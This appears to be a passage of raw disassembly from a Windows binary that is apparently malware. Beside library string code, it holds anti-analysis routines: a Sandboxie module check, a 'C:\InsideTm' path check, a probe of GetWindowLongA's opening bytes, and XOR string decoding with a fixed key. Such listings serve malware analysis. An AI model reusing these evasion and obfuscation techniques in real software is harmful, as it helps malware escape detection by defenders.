		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		mov	esi, ds:off_41E024
		call	esi ; sub_43DCC0
		test	eax, eax
		jnz	short loc_401A34

loc_401A29:				; CODE XREF: sub_4019F9+61j
					; sub_4019F9+8Aj ...
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		jmp	loc_401AC8
; ---------------------------------------------------------------------------

loc_401A34:				; CODE XREF: sub_4019F9+2Ej
		cmp	[ebp+var_38], 1
		jz	loc_401AC6
		jmp	short loc_401A6E
; ---------------------------------------------------------------------------

loc_401A40:				; CODE XREF: sub_4019F9+79j
		push	[ebp+var_24]
		call	ds:off_41E0E0
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		call	esi ; sub_43DCC0
		test	eax, eax
		jz	short loc_401A29
		cmp	[ebp+var_38], 1
		jz	short loc_401AC6
		call	edi	; GetTickCount
		sub	eax, [ebp+var_20]
		cmp	eax, 12Ch
		ja	short loc_401A87

loc_401A6E:				; CODE XREF: sub_4019F9+45j
		cmp	[ebp+var_38], 3
		jz	short loc_401A40
		lea	eax, [ebp+var_3C]
		push	eax
		push	1
		push	ebx
		call	ds:off_41E018
		test	eax, eax
		jz	short loc_401A29
		jmp	short loc_401AC0
; ---------------------------------------------------------------------------

loc_401A87:				; CODE XREF: sub_4019F9+73j
					; sub_4019F9+C5j
		mov	eax, 5B4h
		jmp	short loc_401AC8
; ---------------------------------------------------------------------------

loc_401A8E:				; CODE XREF: sub_4019F9+CBj
		push	[ebp+var_24]
		call	ds:off_41E0E0
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		call	esi ; sub_43DCC0
		test	eax, eax
		jz	loc_401A29
		cmp	[ebp+var_38], 1
		jz	short loc_401AC6
		call	edi	; GetTickCount
		sub	eax, [ebp+var_20]
		cmp	eax, 12Ch
		ja	short loc_401A87

loc_401AC0:				; CODE XREF: sub_4019F9+8Cj
		cmp	[ebp+var_38], 1
		jnz	short loc_401A8E

loc_401AC6:				; CODE XREF: sub_4019F9+3Fj
					; sub_4019F9+67j ...
		xor	eax, eax

loc_401AC8:				; CODE XREF: sub_4019F9+36j
					; sub_4019F9+93j
		call	__SEH_epilog4
		retn
sub_4019F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACE	proc near		; CODE XREF: sub_401000+370p
					; sub_402833+133p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	esi
		call	sub_40C6F0
		push	ebx
		call	sub_40C500
		add	esp, 10h
		test	eax, eax
		jbe	short loc_401B3F
		mov	eax, [ebp+arg_0]
		dec	eax
		mov	[ebp+var_4], eax

loc_401AF3:				; CODE XREF: sub_401ACE+6Fj
		push	offset aOxrihybuygfrdg ; "oxrIHYbuYGFrDgAT"
		call	sub_40C500
		test	eax, eax
		pop	ecx
		jz	short loc_401B04
		xor	eax, eax

loc_401B04:				; CODE XREF: sub_401ACE+32j
		movsx	ecx, byte ptr [edi+ebx]
		movsx	eax, byte ptr aOxrihybuygfrdg[eax] ; "oxrIHYbuYGFrDgAT"
		xor	ecx, eax
		xor	ecx, 0FDh
		push	ecx
		push	esi
		push	offset aSC	; "%s%c"
		push	[ebp+var_4]
		push	esi
		call	sub_40C634
		push	esi
		call	sub_40C500
		push	ebx
		mov	byte ptr [eax+esi], 0
		inc	edi
		call	sub_40C500
		add	esp, 1Ch
		cmp	edi, eax
		jb	short loc_401AF3

loc_401B3F:				; CODE XREF: sub_401ACE+1Cj
		mov	eax, esi
		pop	edi
		leave
		retn
sub_401ACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B44	proc near		; CODE XREF: sub_4049E1+24p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, 104h
		push	ebx
		call	sub_40AA82
		mov	esi, offset aCInsidetm ; "C:\\InsideTm"
		lea	edi, [ebp+var_10]
		movsd
		pop	ecx
		push	ebx
		movsd
		push	eax
		push	0
		mov	[ebp+var_14], eax
		movsd
		call	ds:dword_41E0CC	; GetModuleHandleA
		push	eax
		call	ds:dword_41E0B4	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40C500
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		call	sub_40AE23
		push	[ebp+var_14]
		mov	ebx, eax
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_40C76A
		mov	ecx, [ebp+var_4]
		add	esp, 14h
		pop	edi
		pop	esi
		mov	al, bl
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_401B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BBC	proc near		; CODE XREF: sub_4049E1+31p

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	offset aGetwindowlonga ; "GetWindowLongA"
		push	offset aUser32	; "user32"
		call	ds:off_41E0D0
		push	eax
		call	ds:off_41E0D4
		xor	cl, cl
		mov	[ebp+var_B], cl
		mov	[ebp+var_A], cl
		mov	[ebp+var_9], cl
		push	5
		lea	ecx, [ebp+var_C]
		push	ecx
		push	eax
		mov	[ebp+var_C], 0C8h
		mov	[ebp+var_8], 0B8h
		call	sub_40AE7F
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		neg	eax
		sbb	al, al
		xor	ecx, ebp
		inc	al
		call	sub_40AB4A
		leave
		retn
sub_401BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1BCh


sub_401C17	proc near		; CODE XREF: sub_4049E1+3Ep

var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-1BCh]
		sub	esp, 23Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+1BCh+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aSandboxie ; "Sandboxie"
		lea	edi, [ebp+1BCh+var_10]
		movsd
		movsd
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		movsw
		mov	esi, ds:dword_41E0CC
		mov	ebx, offset aKernel32_dll ; "kernel32.dll"
		push	ebx
		call	esi	; GetModuleHandleA
		mov	edi, ds:off_41E0D4
		push	eax
		call	edi ; sub_44439D
		push	offset aModule32first ;	"Module32First"
		push	ebx
		mov	[ebp+1BCh+var_23C], eax
		call	esi	; GetModuleHandleA
		push	eax
		call	edi ; sub_44439D
		push	offset aModule32next ; "Module32Next"
		push	ebx
		mov	[ebp+1BCh+var_238], eax
		call	esi	; GetModuleHandleA
		push	eax
		call	edi ; sub_44439D
		cmp	[ebp+1BCh+var_23C], 0
		mov	ebx, eax
		jz	loc_401D1E
		cmp	[ebp+1BCh+var_238], 0
		jz	loc_401D1E
		test	ebx, ebx
		jz	loc_401D1E
		call	sub_40C62E	; GetCurrentProcessId
		push	eax
		push	8
		call	[ebp+1BCh+var_23C]
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_401D1E
		lea	eax, [ebp+1BCh+var_234]
		push	eax
		push	edi
		mov	[ebp+1BCh+var_234], 224h
		call	[ebp+1BCh+var_238]
		test	eax, eax
		jz	short loc_401D1E

loc_401CBF:				; CODE XREF: sub_401C17+FEj
		lea	eax, [ebp+1BCh+var_114]
		push	eax
		xor	esi, esi
		call	sub_40C500
		test	eax, eax
		pop	ecx
		jbe	short loc_401D0C

loc_401CD2:				; CODE XREF: sub_401C17+F3j
		lea	eax, [ebp+1BCh+var_10]
		push	eax
		call	sub_40C500
		push	eax
		lea	eax, [ebp+1BCh+var_10]
		push	eax
		lea	eax, [ebp+esi+1BCh+var_114]
		push	eax
		call	sub_40AE23
		add	esp, 10h
		test	eax, eax
		jz	short loc_401D38
		lea	eax, [ebp+1BCh+var_114]
		push	eax
		inc	esi
		call	sub_40C500
		cmp	esi, eax
		pop	ecx
		jb	short loc_401CD2

loc_401D0C:				; CODE XREF: sub_401C17+B9j
		lea	eax, [ebp+1BCh+var_234]
		push	eax
		push	edi
		call	ebx	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_401CBF
		push	edi
		call	ds:dword_41E0C4	; CloseHandle

loc_401D1E:				; CODE XREF: sub_401C17+6Bj
					; sub_401C17+75j ...
		xor	al, al

loc_401D20:				; CODE XREF: sub_401C17+12Aj
		mov	ecx, [ebp+1BCh+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 1BCh
		leave
		retn
; ---------------------------------------------------------------------------

loc_401D38:				; CODE XREF: sub_401C17+E1j
		push	edi
		call	ds:dword_41E0C4	; CloseHandle
		mov	al, 1
		jmp	short loc_401D20
sub_401C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D43	proc near		; CODE XREF: sub_401EE3+79p
					; sub_401F75+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB41
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401D43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D5F	proc near		; CODE XREF: sub_40204E+50p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C76F
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401D5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D7B	proc near		; DATA XREF: r69pu5ti:00421F9Co
		mov	dword ptr [ecx], offset	off_41E304
		jmp	sub_40C899
sub_401D7B	endp

; ---------------------------------------------------------------------------

loc_401D86:				; DATA XREF: r69pu5ti:off_41E304o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E304
		call	sub_40C899
		test	byte ptr [esp+8], 1
		jz	short loc_401DA2
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_401DA2:				; CODE XREF: .text:00401D99j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401DA8	proc near		; CODE XREF: sub_401FC0+43p
					; sub_408525+43p ...
		push	4
		mov	eax, offset loc_41D64C
		call	sub_40E5CD
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_40C7CA
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41E310
		call	sub_401EB3
		mov	eax, esi
		call	sub_40E66C
		retn	4
sub_401DA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401DDD	proc near		; CODE XREF: .text:00401E0Bp
					; .text:00401E2Aj ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41E310
		call	sub_401F75
		mov	ecx, esi
		pop	esi
		jmp	sub_40C899
sub_401DDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DFA	proc near		; DATA XREF: r69pu5ti:off_41E310o
					; r69pu5ti:0041E31Co ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_401E04
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------

loc_401E04:				; CODE XREF: sub_401DFA+4j
		lea	eax, [ecx+10h]
		retn
sub_401DFA	endp

; ---------------------------------------------------------------------------

loc_401E08:				; DATA XREF: r69pu5ti:off_41E310o
		push	esi
		mov	esi, ecx
		call	sub_401DDD
		test	byte ptr [esp+8], 1
		jz	short loc_401E1E
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_401E1E:				; CODE XREF: .text:00401E15j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_401E24:				; DATA XREF: r69pu5ti:00421F64o
		mov	dword ptr [ecx], offset	off_41E31C
		jmp	sub_401DDD
; ---------------------------------------------------------------------------

loc_401E2F:				; DATA XREF: r69pu5ti:off_41E31Co
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E31C
		call	sub_401DDD
		test	byte ptr [esp+8], 1
		jz	short loc_401E4B
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_401E4B:				; CODE XREF: .text:00401E42j
		mov	eax, esi
		pop	esi
		retn	4
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_302. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E54	proc near		; CODE XREF: .text:0041D78Dp
					; .text:0041D7B7p ...

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_104]
		push	100h
		push	eax
		mov	dword ptr [esi], offset	off_420120
		mov	[ebp+var_108], esi
		call	sub_40C634
		mov	eax, dword_433BB8
		add	esp, 0Ch
		lea	edx, [ebp+var_108]
		push	edx
		mov	ecx, offset dword_433BB4
		push	eax
		push	ecx
		call	sub_401FC0
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_40AB4A
		leave
		retn	4
sub_401E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_401EB3	proc near		; CODE XREF: sub_401DA8+26p
					; sub_402188+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_4020BD
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_401EE3
		mov	eax, esi
		pop	esi
		retn	4
sub_401EB3	endp

; ---------------------------------------------------------------------------

loc_401ED9:				; CODE XREF: .text:0041D5EEj
					; .text:0041D66Aj
		push	0
		push	1
		call	sub_401F75
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EE3	proc near		; CODE XREF: sub_401EB3+1Bp
					; sub_4022E3+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_401EFB
		call	sub_40AAF3

loc_401EFB:				; CODE XREF: sub_401EE3+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_401F0B
		mov	esi, [ebp+arg_8]

loc_401F0B:				; CODE XREF: sub_401EE3+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_401F29
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_40204E
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_40204E
		jmp	short loc_401F6C
; ---------------------------------------------------------------------------

loc_401F29:				; CODE XREF: sub_401EE3+2Cj
		push	0
		push	esi
		call	sub_4020D9
		test	al, al
		jz	short loc_401F6C
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401F40
		mov	edi, [edi+4]
		jmp	short loc_401F43
; ---------------------------------------------------------------------------

loc_401F40:				; CODE XREF: sub_401EE3+56j
		add	edi, 4

loc_401F43:				; CODE XREF: sub_401EE3+5Bj
		mov	ecx, [ebx+18h]
		cmp	ecx, 10h
		jb	short loc_401F50
		mov	eax, [ebx+4]
		jmp	short loc_401F53
; ---------------------------------------------------------------------------

loc_401F50:				; CODE XREF: sub_401EE3+66j
		lea	eax, [ebx+4]

loc_401F53:				; CODE XREF: sub_401EE3+6Bj
		mov	edx, [ebp+arg_4]
		push	esi
		add	edi, edx
		push	edi
		push	ecx
		push	eax
		call	sub_401D43
		add	esp, 10h
		push	esi
		mov	ecx, ebx
		call	sub_4020BD

loc_401F6C:				; CODE XREF: sub_401EE3+44j
					; sub_401EE3+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_401EE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401F75	proc near		; CODE XREF: sub_401DDD+10p
					; .text:00401EDDp ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_401FAA
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401FAA
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_401FA2
		push	[esp+8+arg_4]
		push	edi
		push	10h
		push	eax
		call	sub_401D43
		add	esp, 10h

loc_401FA2:				; CODE XREF: sub_401F75+1Bj
		push	edi
		call	sub_40CB3C
		pop	ecx
		pop	edi

loc_401FAA:				; CODE XREF: sub_401F75+8j
					; sub_401F75+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_4020BD
		pop	esi
		retn	8
sub_401F75	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FC0	proc near		; CODE XREF: sub_401E54+4Ap
		push	44h
		mov	eax, offset sub_41D5F3
		call	sub_40E5CD
		push	dword ptr [ebp+10h]
		mov	esi, [ebp+0Ch]
		push	dword ptr [esi+4]
		push	esi
		call	sub_402137
		mov	ecx, 0FC0FC0h
		sub	ecx, dword_433BBC
		cmp	ecx, 1
		jnb	short loc_40201D
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-28h]
		call	sub_4021C2
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401DA8
		push	offset dword_421F60
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41E31C
		call	sub_40E1BC

loc_40201D:				; CODE XREF: sub_401FC0+29j
		inc	dword_433BBC
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_40E66C
		retn	0Ch
sub_401FC0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402033	proc near		; CODE XREF: .text:loc_41D748p
		push	10Ch
		call	loc_40CC1A
		test	eax, eax
		pop	ecx
		jz	short loc_402044
		mov	[eax], eax

loc_402044:				; CODE XREF: sub_402033+Dj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_40204D
		mov	[ecx], eax

locret_40204D:				; CODE XREF: sub_402033+16j
		retn
sub_402033	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40204E	proc near		; CODE XREF: sub_401EE3+33p
					; sub_401EE3+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_402062
		call	sub_40AAF3

loc_402062:				; CODE XREF: sub_40204E+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40206F
		mov	[ebp+arg_4], eax

loc_40206F:				; CODE XREF: sub_40204E+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_4020B5
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		push	ebx
		lea	edx, [esi+4]
		jb	short loc_402085
		mov	ebx, [edx]
		jmp	short loc_402087
; ---------------------------------------------------------------------------

loc_402085:				; CODE XREF: sub_40204E+31j
		mov	ebx, edx

loc_402087:				; CODE XREF: sub_40204E+35j
		cmp	ecx, 10h
		jb	short loc_40208E
		mov	edx, [edx]

loc_40208E:				; CODE XREF: sub_40204E+3Cj
		sub	eax, [ebp+arg_4]
		add	ebx, edi
		add	ebx, [ebp+arg_4]
		push	eax
		push	ebx
		sub	ecx, edi
		push	ecx
		add	edx, edi
		push	edx
		call	sub_401D5F
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_4020BD
		pop	ebx

loc_4020B5:				; CODE XREF: sub_40204E+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_40204E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4020BD	proc near		; CODE XREF: sub_401EB3+Cp
					; sub_401EE3+84p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_4020CF
		mov	ecx, [ecx+4]
		jmp	short loc_4020D2
; ---------------------------------------------------------------------------

loc_4020CF:				; CODE XREF: sub_4020BD+Bj
		add	ecx, 4

loc_4020D2:				; CODE XREF: sub_4020BD+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4020D9	proc near		; CODE XREF: sub_401EE3+49p
					; sub_4022E3+39p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_4020EB
		call	sub_40AAB4

loc_4020EB:				; CODE XREF: sub_4020D9+Bj
		cmp	[esi+18h], edi
		jnb	short loc_4020FD
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_4021E4
		jmp	short loc_40212A
; ---------------------------------------------------------------------------

loc_4020FD:				; CODE XREF: sub_4020D9+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_40211E
		cmp	edi, 10h
		jnb	short loc_40211E
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_402112
		mov	eax, edi

loc_402112:				; CODE XREF: sub_4020D9+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_401F75
		jmp	short loc_40212A
; ---------------------------------------------------------------------------

loc_40211E:				; CODE XREF: sub_4020D9+29j
					; sub_4020D9+2Ej
		test	edi, edi
		jnz	short loc_40212A
		push	edi
		mov	ecx, esi
		call	sub_4020BD

loc_40212A:				; CODE XREF: sub_4020D9+22j
					; sub_4020D9+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_4020D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_402137	proc near		; CODE XREF: sub_401FC0+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	10Ch
		call	loc_40CC1A
		test	eax, eax
		pop	ecx
		jz	short loc_40214C
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx

loc_40214C:				; CODE XREF: sub_402137+Dj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_402159
		mov	edx, [esp+arg_4]
		mov	[ecx], edx

loc_402159:				; CODE XREF: sub_402137+1Aj
		push	edi
		lea	edi, [eax+8]
		test	edi, edi
		jz	short loc_40216C
		push	esi
		mov	esi, [esp+8+arg_8]
		push	41h
		pop	ecx
		rep movsd
		pop	esi

loc_40216C:				; CODE XREF: sub_402137+28j
		pop	edi
		retn	0Ch
sub_402137	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_402188
		mov	dword ptr [esi], offset	off_41E31C
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_402188	proc near		; CODE XREF: .text:00402177p
					; sub_40AAF3+46p
		push	4
		mov	eax, offset loc_41D64C
		call	sub_40E5CD
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	edi, [ebp+8]
		push	edi
		call	sub_40C841
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41E310
		call	sub_401EB3
		mov	eax, esi
		call	sub_40E66C
		retn	4
sub_402188	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4021C2	proc near		; CODE XREF: sub_401FC0+33p
					; sub_408525+33p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_4020BD
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_4022C6
		mov	eax, esi
		pop	esi
		retn	4
sub_4021C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021E4	proc near		; CODE XREF: sub_4020D9+1Dp
		push	0Ch
		mov	eax, offset loc_41D629
		call	sub_40E600
		mov	edi, ecx
		mov	[ebp-18h], edi
		mov	esi, [ebp+8]
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		jbe	short loc_402205
		mov	esi, [ebp+8]
		jmp	short loc_40222A
; ---------------------------------------------------------------------------

loc_402205:				; CODE XREF: sub_4021E4+1Aj
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_40222A
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_40222A
		lea	esi, [edx+ecx]

loc_40222A:				; CODE XREF: sub_4021E4+1Fj
					; sub_4021E4+38j ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	0
		push	eax
		call	sub_402389
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_402269
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-10h], esp
		mov	[ebp+8], eax
		inc	eax
		push	0
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_402389
		pop	ecx
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_402260
		retn
; ---------------------------------------------------------------------------

loc_402260:				; DATA XREF: sub_4021E4+76o
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]

loc_402269:				; CODE XREF: sub_4021E4+59j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40228E
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40227A
		mov	eax, [edi+4]
		jmp	short loc_40227D
; ---------------------------------------------------------------------------

loc_40227A:				; CODE XREF: sub_4021E4+8Fj
		lea	eax, [edi+4]

loc_40227D:				; CODE XREF: sub_4021E4+94j
		push	dword ptr [ebp+0Ch]
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_401D43
		add	esp, 10h

loc_40228E:				; CODE XREF: sub_4021E4+89j
		push	0
		push	1
		mov	ecx, edi
		call	sub_401F75
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_4020BD
		call	sub_40E66C
		retn	8
sub_4021E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_401F75
		push	esi
		push	esi
		call	sub_40E1BC
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================



sub_4022C6	proc near		; CODE XREF: sub_4021C2+17p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40C500
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4022E3
		pop	esi
		retn	4
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022E3	proc near		; CODE XREF: sub_4022C6+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_402355
		test	al, al
		jz	short loc_402315
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_402302
		mov	eax, [esi+4]
		jmp	short loc_402305
; ---------------------------------------------------------------------------

loc_402302:				; CODE XREF: sub_4022E3+18j
		lea	eax, [esi+4]

loc_402305:				; CODE XREF: sub_4022E3+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_401EE3
		jmp	short loc_40234F
; ---------------------------------------------------------------------------

loc_402315:				; CODE XREF: sub_4022E3+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_4020D9
		test	al, al
		jz	short loc_40234D
		mov	ecx, [esi+18h]
